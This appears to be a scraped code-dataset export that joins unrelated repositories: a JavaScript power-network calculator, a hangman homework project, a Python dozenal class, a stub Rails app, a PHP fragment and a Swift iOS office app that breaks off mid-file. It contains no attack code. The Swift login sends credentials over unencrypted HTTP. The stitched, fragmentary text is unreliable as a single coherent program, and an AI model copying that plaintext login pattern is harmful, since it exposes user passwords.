{\n var copy = [];\n for (var i = 0, len = obj.length; i < len; i++) {\n copy[i] = self._clone(obj[i]);\n }\n return copy;\n }\n\n // Handle Object\n if (obj instanceof Object) {\n var copy = obj.constructor();\n for (var attr in obj) {\n if (obj.hasOwnProperty(attr)) copy[attr] = self._clone(obj[attr]);\n }\n return copy;\n }\n\n throw new Error(\"Unable to copy obj! Its type isn't supported.\");\n };\n\n\n self.exportData = function () {\n var nodeKeys = ['node', 'main', 'transformer', 'Pmax', 'Qmax', 'Pmin', 'Qmin', 'dUmax', 'dUmin'],\n edgeKeys = ['start', 'finish', 'cable', 'length', 'R', 'X'],\n exportData = {nodes: [], edges: []},\n nodes = self.getNodes(),\n edges = self.getEdges(),\n node, edge,\n string = \"\\ufeff\",\n i, j;\n\n for (i in nodes) {\n node = [];\n for (j in nodeKeys) {\n if (typeof nodes[i][nodeKeys[j]] === 'boolean') {\n node.push(nodes[i][nodeKeys[j]] ? 1 : 0);\n } else {\n node.push(nodes[i][nodeKeys[j]]);\n }\n }\n exportData.nodes.push(node);\n }\n\n for (i in edges) {\n edge = [];\n for (j in edgeKeys) {\n edge.push(edges[i][edgeKeys[j]]);\n }\n exportData.edges.push(edge);\n }\n\n string += exportData.nodes\n .map(function(v){return v.map(function(v){return (v+'').replace(/\\./, ',');}).join(';');}).join(\"\\n\");\n string += \"\\n\\n\";\n string += exportData.edges\n .map(function(v){return v.map(function(v){return (v+'').replace(/\\./, ',');}).join(';');}).join(\"\\n\");\n\n return string;\n };\n\n self.importData = function (data) {\n var rows, values,\n i = 0, ii;\n\n rows = data.replace(/^\\s+|\\s+$/g,'').split(\"\\n\");\n\n nodes.splice(0, nodes.length);\n edges.splice(0, edges.length);\n\n for (ii = rows.length; i < ii; ++i) {\n values = rows[i].replace(/,/g,'.').split(';');\n if (values.length > 8) {\n self.addNode({\n node: values[0],\n main: parseInt(values[1]) ? true : false,\n transformer: values[2],\n Pmax: parseFloat(values[3]),\n Qmax: parseFloat(values[4]),\n Pmin: parseFloat(values[5]),\n Qmin: parseFloat(values[6]),\n dUmax: parseFloat(values[7]),\n dUmin: parseFloat(values[8])\n });\n } else {\n ++i;\n break;\n }\n }\n\n for (ii = rows.length; i < ii; ++i) {\n values = rows[i].replace(/,/g,'.').split(';');\n if (values.length > 5) {\n self.addEdge({\n start: values[0],\n finish: values[1],\n cable: values[2],\n length: parseFloat(values[3]),\n R: parseFloat(values[4]),\n X: parseFloat(values[5])\n });\n } else {\n break;\n }\n }\n\n self.updateTransformer();\n self.updateCable();\n self.clearResults();\n };\n\n self.init = function() {\n self.loadTransformers();\n self.loadCables();\n\n self.updateTransformer();\n self.updateCable();\n self.clearResults();\n\n setTimeout(function() {\n self.updateTransformer();\n self.updateCable();\n self.clearResults();\n }, 500);\n };\n\n return self;\n}\n\nvar energy = getEnergy();\nenergy.init();'use strict';\n\n/* Filters */\n\nangular.module('energy.filters', []).\n filter('round', function($filter) {\n return function (value, precision) {\n precision = precision || 0;\n return math.round(value, precision).toFixed(precision);\n };\n });\nПрограмма предназначена для расчета режима распределительных электрических\nсетей 6-10 кВ, выбора закона регулирования в центре питания (ЦП) и выбора\nкоэффициента трансформатормации трансформаторов (ответвление переключателя\nбез возбуждения (ПБВ)) на трансформаторных подстанциях (ТП).\nПрограмма разработана в качестве дипломного проекта на кафедре Электрические\nсистемы Энергетического факультета Белорусского государственного технического\nуниверситета.\n\n\nThe program is designed to calculate the regime of distribution electric\nnetworks 6-10 kV, the selection control law in the center of the power unit\n(CPU) and selection ratio of transformation on transformers (choose tap on\nno-load tap changer (NLTC)) in transformer substation (TS).\nThe program is develop as a graduation project at the Electrical Systems department\nPower Engineering faculty of Belarusian National Technical University."},"directory_id":{"kind":"string","value":"51f85e3ae632ba84030812d2de563d1ae79ac5f7"},"languages":{"kind":"list like","value":["JavaScript","Text"],"string":"[\n \"JavaScript\",\n \"Text\"\n]"},"num_files":{"kind":"number","value":4,"string":"4"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"Negromovich/energy-program"},"revision_id":{"kind":"string","value":"7960f1340a6f7f87eb908a879a3606c19bb6d4b5"},"snapshot_id":{"kind":"string","value":"b4f930903771e66bd3439d395b8ecdb4dab90806"}}},{"rowIdx":123,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"Leach-IT3049C/6-hangman-hussaimi/README.md\nHangman\n=====================\n![Assignment Checks](https://s///github.com/Leach-IT3049C/6-hangman-hussaimi/workflows/Assignment%20Checks/badge.svg)\n\nInstructions to this assignment can be found [here](#).\n\n## Checklist:\n- [x] update the assignment checks above to the correct link. - Done Automatically\n- [x] make sure the assignment checks pass\n- [x] fill out the self evaluation and Reflection\n- [x] submit the repository link on Canvas\n\n## Self-Evaluation:\n\nhow many points out of 20 do you deserve on this assignment:\nI submitted this assignment late, so I axpect that some of my marks will be deducted on the basis of that. But if I consider only the assignment part, then I guess I can get full marks.\n\n## Self-Reflection:\nOverall the assignment was a little difficult for me. At first, I stuck at the fetch part of the assignment, and it took me almost 2 to 3 days to figure out the problem, with the help of professor. Other than than, it was a little difficult.\n\n\n### How long it took me to finish this?\nit took me more than a week to complete the logic of this assignment./resources/js/index.js\n// START + DIFFICULTY SELECTION\nlet startWrapper = document.getElementById(`startWrapper`);\nlet difficultySelectForm = document.getElementById(`difficultySelect`);\nlet difficultySelect = document.getElementById(`difficulty`);\n\n// GAME\nlet gameWrapper = document.getElementById(`gameWrapper`);\nlet guessesText = document.getElementById(`guesses`);\nlet wordHolderText = document.getElementById(`wordHolder`);\n\n// GUESSING FORM\nlet guessForm = document.getElementById(`guessForm`);\nlet guessInput = document.getElementById(`guessInput`);\nlet guessSubmitButton = document.getElementById('guessSubmitButton');\n\n// GAME RESET BUTTON\nlet resetGame = document.getElementById(`resetGame`);\n\n// CANVAS\nlet canvas = document.getElementById(`hangmanCanvas`);\n\n// The following Try-Catch Block will catch the errors thrown\ntry {\n // Instantiate a game Object using the Hangman class.\n let game = new Hangman(canvas);\n // add a submit Event Listener for the to the difficultySelectionForm\n // get the difficulty input\n // call the game start() method, the callback function should do the following\n // 1. hide the startWrapper\n // 2. show the gameWrapper\n // 3. call the game getWordHolderText and set it to the wordHolderText\n // 4. call the game getGuessessText and set it to the guessesText\n\n \n difficultySelectForm.addEventListener(\"submit\", function (event) {\n event.preventDefault();\n difficultySelect = document.getElementById(`difficulty`);\n game.start(difficultySelect.value).then(()=>{\n startWrapper.style.display = \"none\";\n gameWrapper.style.display = \"block\";\n wordHolderText.innerHTML = game.getWordHolderText();\n guessesText.innerHTML = game.getGuessesText();\n }); \n });\n\n \n\n \n // add a submit Event Listener to the guessForm\n // get the guess input\n // call the game guess() method\n // set the wordHolderText to the game.getHolderText\n // set the guessesText to the game.getGuessesText\n // clear the guess input field\n // Given the Guess Function calls either the checkWin or the onWrongGuess methods\n // the value of the isOver and didWin would change after calling the guess() function.\n // Check if the game isOver:\n // 1. disable the guessInput\n // 2. disable the guessButton\n // 3. show the resetGame button\n // if the game is won or lost, show an alert.\n guessForm.addEventListener(`submit`, function (e) {\n e.preventDefault();\n guessInput = document.getElementById(`guessInput`);\n game.guess(guessInput.value);\n wordHolderText.innerHTML = game.getWordHolderText();\n guessesText.innerHTML = game.getGuessesText();\n guessInput.value = \"\";\n if(game.isOver == true){\n guessSubmitButton.disabled = true;\n guessInput.disabled = true;\n resetGame.style.display = \"block\";\n if(game.didWin == true){\n alert(\"Congratulations! You won.\");\n } else{\n alert(\"Game Lost.\");\n }\n }\n });\n\n // add a click Event Listener to the resetGame button\n // show the startWrapper\n // hide the gameWrapper\n resetGame.addEventListener(`click`, function (e) {\n gameWrapper.style.display = \"none\";\n startWrapper.style.display = \"block\";\n game.guesses = [];\n game.previousGuessedWord = [];\n guessInput.disabled = false;\n guessSubmitButton.disabled = false;\n wordHolderText.innerHTML = \"\";\n guessesText.innerHTML = \"\";\n resetGame.style.display = \"none\";\n game.gameCounter = 0;\n game.wordHolderCounter = 0;\n });\n} catch (error) {\n console.error(error);\n alert(error);\n}\n"},"directory_id":{"kind":"string","value":"d21dfdedd2bb45abec381d7c2092ec58251ca31e"},"languages":{"kind":"list like","value":["Markdown","JavaScript"],"string":"[\n \"Markdown\",\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"Markdown"},"repo_name":{"kind":"string","value":"Leach-IT3049C/6-hangman-hussaimi"},"revision_id":{"kind":"string","value":"a0723f6d594b5b0fc000ee58dacef9084da9a3e0"},"snapshot_id":{"kind":"string","value":"3148ca4d35fa5e3efa34c5bc3e0a27ea0a1c6b95"}}},{"rowIdx":124,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"minddrive/dozenal/dozenal.py\n\"\"\"Core module for managing dozenal numbers\"\"\"\n\nimport math\nimport re\n\n\nclass Dozenal():\n \"\"\"Basic class for handling dozenal\"\"\"\n\n doz_digits = list('0123456789XE')\n\n def __init__(self, num, decimal=False):\n \"\"\"Keep track of decimal value of dozenal for arithmetic\"\"\"\n\n if decimal:\n self.decimal = num\n self.dozenal = self.dec_to_doz(num)\n else:\n self.dozenal = num\n self.decimal = self.doz_to_dec(num)\n\n def __repr__(self):\n \"\"\"Display dozenal value\"\"\"\n\n return self.dozenal\n\n def __add__(self, other):\n \"\"\"Add two dozenal numbers\"\"\"\n\n dec_sum = self.decimal + other.decimal\n\n return Dozenal(dec_sum, decimal=True)\n\n def __mul__(self, other):\n \"\"\"Multiply two dozenal numbers\"\"\"\n\n dec_prod = self.decimal * other.decimal\n\n return Dozenal(dec_prod, decimal=True)\n\n def __sub__(self, other):\n \"\"\"Subtract two dozenal numbers\"\"\"\n\n dec_diff = self.decimal - other.decimal\n\n return Dozenal(dec_diff, decimal=True)\n\n def __truediv__(self, other):\n \"\"\"Divide two dozenal numbers (not integral result)\"\"\"\n\n dec_div = self.decimal / other.decimal\n\n return Dozenal(dec_div, decimal=True)\n\n @staticmethod\n def _validate(num, dozenal=True):\n \"\"\"Ensure dozenal or decimal number is valid\"\"\"\n\n if dozenal:\n digits = '[0-9XE]'\n else:\n digits = '[0-9]'\n\n prog = re.compile(r'^([+-])?(%s+)(\\.(%s+))?$' % (digits, digits))\n result = re.match(prog, num)\n\n if result is None:\n raise ValueError(num)\n\n sign, whole, fraction = result.group(1, 2, 4)\n\n if not dozenal:\n if whole is not None:\n whole = int(whole)\n if fraction is not None:\n fraction = int(fraction)\n\n return sign, whole, fraction\n\n def doz_to_dec(self, doz_num):\n \"\"\"Convert dozenal to decimal\"\"\"\n\n try:\n sign, whole, fraction = self._validate(doz_num)\n except ValueError as exc:\n raise ValueError('%s is not a valid dozenal number' % exc)\n\n negative = False\n\n if sign == '-':\n negative = True\n\n decimal = 0\n\n for digit in whole:\n decimal = ((decimal << 3) + (decimal << 2)\n + self.doz_digits.index(digit))\n\n if fraction is not None:\n fractional = 0\n\n for digit in fraction:\n fractional = ((fractional << 3) + (fractional << 2)\n + self.doz_digits.index(digit))\n\n decimal += fractional / (12 ** len(fraction))\n\n return -decimal if negative else decimal\n\n def dec_to_doz(self, dec_num):\n \"\"\"Convert decimal to dozenal\"\"\"\n\n try:\n sign, whole, fraction = self._validate(str(dec_num),\n dozenal=False)\n except ValueError as exc:\n raise ValueError('%s is not a valid decimal number' % exc)\n\n negative = False\n\n if sign == '-':\n negative = True\n\n dozenal = ''\n\n while True:\n dozenal += self.doz_digits[whole % 12]\n whole //= 12\n\n if whole == 0:\n break\n\n dozenal = dozenal[::-1]\n\n if fraction is not None:\n fractional = []\n\n if fraction == 0:\n fraction = 0.0\n else:\n fraction /= 10 ** (int(math.log10(fraction)) + 1)\n\n for idx in range(12):\n fraction *= 12\n fractional.append(self.doz_digits[int(fraction)])\n fraction -= int(fraction)\n\n if fraction == 0:\n break\n\n dozenal += '.' + ''.join(fractional)\n\n return '-' + dozenal if negative else dozenal\n"},"directory_id":{"kind":"string","value":"c7e6b2ffe8969de76f50fd7b827fda733d628b43"},"languages":{"kind":"list like","value":["Python"],"string":"[\n \"Python\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"Python"},"repo_name":{"kind":"string","value":"minddrive/dozenal"},"revision_id":{"kind":"string","value":"2e31a0b675977568380263209fe61aa4c64b164b"},"snapshot_id":{"kind":"string","value":"8ff02fc217a12c19411d0561b97d7c5d314b7e5d"}}},{"rowIdx":125,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"Rails.application.routes.draw do\n root 'tests#index'\n\n get 'tests' => 'tests#index'\nend\nclass TestsController < ApplicationController\n def index\n @aaa = \"aaa\"\n end\nend\n"},"directory_id":{"kind":"string","value":"e878e7aaa20c8c4fee42a8a1f8ed44c5da71b83b"},"languages":{"kind":"list like","value":["Ruby"],"string":"[\n \"Ruby\"\n]"},"num_files":{"kind":"number","value":2,"string":"2"},"repo_language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"shokobamboo/ex"},"revision_id":{"kind":"string","value":"84e90f13c2d199289af9ab4cf4f3a930f39591f5"},"snapshot_id":{"kind":"string","value":"c99d7feede43f24a814f41ccef41527835ea2c90"}}},{"rowIdx":126,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"error(\"Farbe konnte nicht erkannt werden!\");\r\n }\r\n}\r\n?>\r\n"},"directory_id":{"kind":"string","value":"961c887ff87cf9c639cc68f2035e162cd342a933"},"languages":{"kind":"list like","value":["PHP"],"string":"[\n \"PHP\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"PHP"},"repo_name":{"kind":"string","value":"Istani/class.color.php"},"revision_id":{"kind":"string","value":"a35a646deaaae0f14628c5f4cd0ad7920f8df4bb"},"snapshot_id":{"kind":"string","value":"068ad9dfab631994c77db9cb58861f20fbd47863"}}},{"rowIdx":127,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"a562432988/zxmoa/README.md\n# zxmoa\n第一个适配oa项目\n/zxmoa/Daylay.swift\n//\n// Daylay.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/7.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nclass Daylay: UIViewController{\n \n /**客户走访*/\n @IBOutlet weak var btn2: UIButton!\n \n /**工作周报*/\n @IBOutlet weak var btn4: UIButton!\n \n /**请假上报*/\n @IBOutlet weak var btn1: UIButton!\n \n /**代办查看*/\n @IBOutlet weak var btn3: UIButton!\n var data = \"\"\n var ttle = \"\"\n var RUN_ID = \"\"\n var flag = 0\n \n override func viewDidLoad() {\n super.viewDidLoad()\n\n// btn1.frame = CGRectMake(0,0,30,30)\n// btn1.center = CGPointMake(view.frame.size.width/2, 280)\n// btn1.titleLabel?.font = UIFont.boldSystemFontOfSize(17) //文字大小\n btn1.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色\n btn1.set(image: UIImage(named: \"gongao.png\"), title: \"请假上报\", titlePosition: .Bottom,\n additionalSpacing: 10.0, state: .Normal)\n\n btn4.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色\n btn4.set(image: UIImage(named: \"liucheng.png\"), title: \"工作周报\", titlePosition: .Bottom,\n additionalSpacing: 10.0, state: .Normal)\n \n btn2.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色\n btn2.set(image: UIImage(named: \"kehu.png\"), title: \"客户走访\", titlePosition: .Bottom,\n additionalSpacing: 10.0, state: .Normal)\n \n btn3.setTitleColor(UIColor.orangeColor(), forState: UIControlState.Normal) //文字颜色\n btn3.set(image: UIImage(named: \"wendang.png\"), title: \"代办查询\", titlePosition: .Bottom,\n additionalSpacing: 10.0, state: .Normal)\n\n }\n \n \n /** 周报上报*/\n @IBAction func btn4(sender: UIButton) {\n data = \"workflow/new/do.php?f=create&FLOW_ID=3004&FLOW_TYPE=1&FUNC_ID=2\"\n ttle = \"工作周报上报\"\n flag = 1\n btn4.userInteractionEnabled = false\n self.ursll()\n// self.trunaround()\n }\n \n @IBAction func btn3(sender: UIButton) {\n let alert: UIAlertView = UIAlertView(title: \"\", message: \"功能开发中\", delegate: nil, cancelButtonTitle: \"OK\")\n alert.show()\n }\n /** 请假上报*/\n @IBAction func btn1(sender: UIButton) {\n data = \"workflow/new/do.php?FLOW_ID=2001&f=create&FLOW_TYPE=1&FUNC_ID=2\"\n ttle = \"请假申请\"\n flag = 2\n btn1.userInteractionEnabled = false\n ursll()\n }\n \n /** 客户走访*/\n @IBAction func btn2(sender: UIButton) {\n data = \"workflow/new/do.php?FLOW_ID=3002&f=create&FLOW_TYPE=1&FUNC_ID=2\"\n ttle = \"客户走访信息上报\"\n flag = 3\n btn2.userInteractionEnabled = false\n// trunaround()\n ursll()\n }\n \n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n func ursll(){\n var url1 = \"http://www.zxmoa.com:83/general/\"\n let header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n url1 = url1 + data\n showNoticeWait()\n Alamofire.request(.GET,url1,headers: header ).response { request, response, data, error in\n let res = String(response?.URL!)\n let charset=NSCharacterSet(charactersInString:\"&=\")\n let resArray=res.componentsSeparatedByCharactersInSet(charset)\n self.RUN_ID = resArray[1]\n \n// print(self.RUN_ID,1)\n self.clearAllNotice()\n self.trunaround()\n }\n }\n \n func trunaround(){\n let vc = FormController()\n vc.RUN_ID1 = RUN_ID\n vc.flag = flag\n vc.titlename = ttle\n vc.hidesBottomBarWhenPushed = true\n self.navigationController?.pushViewController(vc, animated: true)\n btn4.userInteractionEnabled = true\n btn2.userInteractionEnabled = true\n btn1.userInteractionEnabled = true\n }\n\n}\n/zxmoa/webView.swift\n//\n// webView.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/22.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nclass webView: UIViewController,UIWebViewDelegate {\n var webbit:UIWebView?\n var data:String?\n var titles:String?\n// http://www.zxmoa.com:83/general/notify/show/read_notify.php?NOTIFY_ID=20\n var url = \"http://www.zxmoa.com:83/general/\"\n var header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n override func viewDidLoad() {\n super.viewDidLoad()\n webbit = UIWebView(frame: self.view.frame )\n webbit!.backgroundColor = UIColor(red: 0xf0/255, green: 0xf0/255,\n blue: 0xf0/255, alpha: 1)\n self.webbit?.delegate = self\n self.navigationItem.title = titles!\n self.view.addSubview(webbit!)\n \n //设置是否缩放到适合屏幕大小\n self.webbit?.scalesPageToFit = true\n ursll()\n // Do any additional setup after loading the view.\n }\n\n func ursll(){\n url = url+data!\n showNoticeWait()\n Alamofire.request(.GET,url,headers: header ).responseString{ response in\n if let j = response.result.value {\n let html = j\n self.webbit!.loadHTMLString(html,baseURL:nil)\n self.clearAllNotice()\n }\n }\n }\n\n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n\n}\n/zxmoa/Login View.swift\n//\n// ViewController.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/1.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nvar cookpsw:String = \"\"\nvar Usernn:String = \"\"\n\nclass LoginView: UIViewController {\n \n @IBOutlet weak var remb: UISwitch!\n @IBOutlet weak var send: UIButton!\n @IBOutlet weak var Username: UITextField!\n @IBOutlet weak var Password: UITextField!\n var timer:NSTimer!\n var saveSuccessful: Bool!\n var saveSuccessful1: Bool!\n var saveSuccessful2: Bool = false\n @IBAction func sendup(sender: AnyObject) {\n /**按钮无法按下,防止多次请求*/\n send.userInteractionEnabled = false\n let usern : String! = Username.text\n let passw : String! = Password.text\n showNoticeWait()\n saveSuccessful = KeychainWrapper.setString(usern, forKey: \"usern\")\n saveSuccessful1 = KeychainWrapper.setString(passw, forKey: \"passw\")\n if remb.on {\n saveSuccessful2 = KeychainWrapper.setString(\"1\", forKey: \"butten\")\n } else {\n saveSuccessful2 = KeychainWrapper.removeObjectForKey(\"butten\")\n }\n Usernn = usern\n //发送http post请求\n Alamofire.request(.POST, \"http://zxmoa.com:83/general/login/index.php?c=Login&a=loginCheck\",parameters:[\"username\":\"\\(usern)\",\"password\":\"\\()\",\"userLang\":\"cn\"]).responseData{ response in\n if let j = response.result.value {\n let js = JSON(data:j)\n if js[\"flag\"] == 1\n {\n let cookieStorage = NSHTTPCookieStorage.sharedHTTPCookieStorage()\n let cookieArray = cookieStorage.cookies\n if cookieArray!.count > 0\n {\n for cookie in cookieArray!\n {\n if cookie.name == \"PHPSESSID\"\n {\n cookpsw = cookie.value\n// print(\"PHPSESSID : \\(cookpsw)\")\n }\n }\n }\n// self.clearAllNotice()\n /**请求完成重新开启按钮*/\n self.send.userInteractionEnabled = true\n// self.dismissViewControllerAnimated(true,completion: nil)//销毁当前视图\n self.performSegueWithIdentifier(\"Truerun\", sender: self)\n// self.modalTransitionStyle = UIModalTransitionStyle.PartialCurl\n }else{\n let alertController = UIAlertController(title: \"提示\",message: \"用户名密码错误\", preferredStyle: .Alert) //设置提示框\n self.presentViewController(alertController, animated: true, completion: nil)//显示提示框\n self.timer = NSTimer.scheduledTimerWithTimeInterval(2,target:self,selector:Selector(\"timers\"),userInfo:alertController,repeats:false)\n //设置单次执行 repeats是否重复执行 selector 执行的方法\n }\n }\n }\n }\n \n /**定时器*/\n func timers()\n {\n self.presentedViewController?.dismissViewControllerAnimated(false, completion: nil)//关闭提示框\n send.userInteractionEnabled = true\n self.timer.invalidate()//释放定时\n }\n \n override func touchesMoved(touches: Set, withEvent event: UIEvent?) {\n \n }\n \n func stateChanged(switchState: UISwitch) {\n if switchState.on {\n let usern : String! = Username.text\n let passw : String! = Password.text\n saveSuccessful = KeychainWrapper.setString(usern, forKey: \"usern\")\n saveSuccessful1 = KeychainWrapper.setString(passw, forKey: \"passw\")\n } else {\n\n }\n }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n // Do any additional setup after loading the view, typically from a nib.\n// Password.secureTextEntry = true\n NSThread.sleepForTimeInterval(2.0)\n// send.layer.cornerRadius = 5 //设置button按钮圆角\n let flag:String? = KeychainWrapper.stringForKey(\"butten\")\n if flag != nil{\n remb.setOn(true, animated: true)\n }else{\n remb.setOn(false, animated: true)\n }\n if remb.on {\n Username.text = KeychainWrapper.stringForKey(\"usern\")\n Password.text = KeychainWrapper.stringForKey(\"passw\")\n }else\n {\n \n }\n send.layer.cornerRadius = 5 //设置button按钮圆角\n }\n \n override func touchesBegan(touches: Set, withEvent event: UIEvent?) {\n self.Username.resignFirstResponder()//释放username控件的第一焦点\n self.Password.resignFirstResponder()//释放password控件的第一焦点\n }\n \n @IBAction func log(segue: UIStoryboardSegue){\n// print(\"1\")\n }\n}\n\n/zxmoa/First View.swift\n//\n// First View.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/7.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nvar USER_ID:String!\nvar USER_PRIV:String!\nvar DEPT_NAME:String!\nclass First_View: PageController{\n// @IBOutlet var backGroudView: UIView!\n\n var vcTitles = [\"新闻\", \"公告\", \"资料\",\"补丁\"]\n// var vcTitles = [\"新闻\", \"公告\"]\n let vcClasses: [UIViewController.Type] = [XinWenController.self, GongGaoController.self,ZiLiaoController.self,BuDingController.self]\n// let vcClasses: [UIViewController.Type] = [XinWenController.self, GongGaoController.self]\n required init?(coder aDecoder: NSCoder) {\n super.init(coder: aDecoder)\n let item = UIBarButtonItem(title: \"返回\", style: .Plain, target: self, action: nil)\n self.navigationItem.backBarButtonItem = item\n itemsWidths = [80, 80,80,80]\n dataSource = self\n delegate = self\n preloadPolicy = PreloadPolicy.Neighbour\n titles = vcTitles\n viewControllerClasses = vcClasses\n pageAnimatable = true\n menuViewStyle = MenuViewStyle.Line\n bounces = true\n menuHeight = 40\n titleSizeNormal = 16\n titleSizeSelected = 17\n menuBGColor = .clearColor()\n automaticallyAdjustsScrollViewInsets = false // 阻止 tableView 上面的空白\n // showOnNavigationBar = true\n // pageController.selectedIndex = 1\n // pageController.progressColor = .blackColor()\n // pageController.viewFrame = CGRect(x: 50, y: 100, width: 320, height: 500)\n // pageController.itemsWidths = [100, 50]\n // pageController.itemsMargins = [50, 10, 100]\n // pageController.titleSizeNormal = 12\n // pageController.titleSizeSelected = 14\n // pageController.titleColorNormal = UIColor.brownColor()\n// pageController.titleColorSelected = UIColor.blackColor()\n }\n \n override func viewDidLoad() {\n super.viewDidLoad()\n ursll()\n }\n func ursll(){\n let urll = \"http://www.zxmoa.com:83/general/info/user/do.php\"\n let header = [\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]\n let param = [\"op\":\"getSearchList\",\"username\":\"\\(Usernn)\",\"b_month\":\"0\",\"sex\":\"ALL\",\"currentPage\":\"0\",\"itemsPerPage\":\"10\"]\n Alamofire.request(.POST,urll,parameters: param,headers:header).responseData{ response in\n if let j = response.result.value{\n let js = JSON(data: j)\n USER_ID = js[\"list\"][0][\"USER_ID\"].string\n USER_PRIV = js[\"list\"][0][\"USER_PRIV\"].string\n DEPT_NAME = js[\"list\"][0][\"DEPT_NAME\"].string\n print(\"\\(USER_ID),\\(USER_PRIV),\\(DEPT_NAME)\")\n }\n }\n }\n\n \n // 内存警告!\n override func didReceiveMemoryWarning() {\n super.didReceiveMemoryWarning()\n // Dispose of any resources that can be recreated.\n }\n \n // MARK: - PageController DataSource\n func numberOfControllersInPageController(pageController: PageController) -> Int {\n return vcTitles.count\n }\n \n func pageController(pageController: PageController, titleAtIndex index: Int) -> String {\n return vcTitles[index]\n }\n\n // 代理里的方法\n // 结束就会触发\n// override func scrollViewDidEndDecelerating(scrollView: UIScrollView) {\n// let i:Int = Int(self.contentScrollView.contentOffset.x / screenW)\n// selTitleBtn(buttons[i])\n// setUpOneChildViewController(i)\n// }\n \n /* 滑动就会触发\n func scrollViewDidScroll(scrollView: UIScrollView) {\n \n }\n */\n\n}\n/zxmoa/TableView.swift\n//\n// TableView.swift\n// zxmoa\n//\n// Created by mingxing on 16/3/8.\n// Copyright © 2016年 ruanxr. All rights reserved.\n//\n\nimport UIKit\nimport Alamofire\nimport SwiftyJSON\n\nclass TableView: UIViewController, UITableViewDataSource,UITableViewDelegate {\n @IBOutlet var tableView: UITableView!\n var name:[String]=[],names:[String]=[],namep:[String]=[]\n var sex:[String]=[],sexs:[String]=[],sexp:[String]=[]\n var phone:[String]=[],phones:[String]=[],phonep:[String]=[]\n var zhiW:[String]=[],zhiWs:[String]=[],zhiWp:[String]=[]\n var BuMen:[String]=[],BuMens:[String]=[],BuMenp:[String]=[]\n var a=0,b=0,c=0,d=0,e=0\n @IBOutlet weak var cover: UILabel!\n func urlrp(){\n Alamofire.request(.POST, \"http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php\",parameters:[\"op\":\"getAddressList\",\"ADDRESS_TYPE\":\"1\",\"GROUP_ID\": \"30\",\"f\":\"view\",\"sortField\":\"A13\",\"sortType\":\"ASC\",\"currentPage\":\"0\",\"itemsPerPage\":\"20\"],headers:[\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]).responseData { response in\n if let j = response.result.value {//ID30 zongjingl\n let js = JSON(data:j)\n self.name.append(js[\"list\"][0][\"A1\"].string!)\n self.names.append(js[\"list\"][0][\"A25\"].string!)\n self.namep.append(js[\"list\"][0][\"A5\"].string!)\n }\n// dispatch_async(dispatch_get_main_queue(), {\n self.tableView?.reloadData()\n self.a=1\n if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{\n self.cover.hidden=true\n self.clearAllNotice()\n }\n// return\n// })\n }\n \n Alamofire.request(.POST, \"http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php\",parameters:[\"op\":\"getAddressList\",\"ADDRESS_TYPE\":\"1\",\"GROUP_ID\": \"32\",\"f\":\"view\",\"sortField\":\"A13\",\"sortType\":\"ASC\",\"currentPage\":\"0\",\"itemsPerPage\":\"20\"],headers:[\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]).responseData { response in\n if let j = response.result.value {\n let js = JSON(data:j)\n self.sex.append(js[\"list\"][0][\"A1\"].string!)\n self.sex.append(js[\"list\"][1][\"A1\"].string!)\n self.sexs.append(js[\"list\"][0][\"A25\"].string!)\n self.sexs.append(js[\"list\"][1][\"A25\"].string!)\n self.sexp.append(js[\"list\"][0][\"A5\"].string!)\n self.sexp.append(js[\"list\"][1][\"A5\"].string!)\n }\n// dispatch_async(dispatch_get_main_queue(), {\n self.tableView?.reloadData()\n self.b=1\n if self.a==1 && self.b==1 && self.c==1 && self.d==1 && self.e==1{\n self.cover.hidden=true\n self.clearAllNotice()\n }\n// return\n// })\n // print(4)\n }\n Alamofire.request(.POST, \"http://www.zxmoa.com:83/general/address/pubcenter/addpublic_do.php\",parameters:[\"op\":\"getAddressList\",\"ADDRESS_TYPE\":\"1\",\"GROUP_ID\": \"34\",\"f\":\"view\",\"sortField\":\"A13\",\"sortType\":\"ASC\",\"currentPage\":\"0\",\"itemsPerPage\":\"20\"],headers:[\"Cookie\":\"PHPSESSID=\\(cookpsw)\"]).responseData { response in\n if let j = response.result.value {//ID34 财务\n let js = JSON(data:j)\n self.phone.append(js[\"list\"][0][\"A1\"].string!)\n 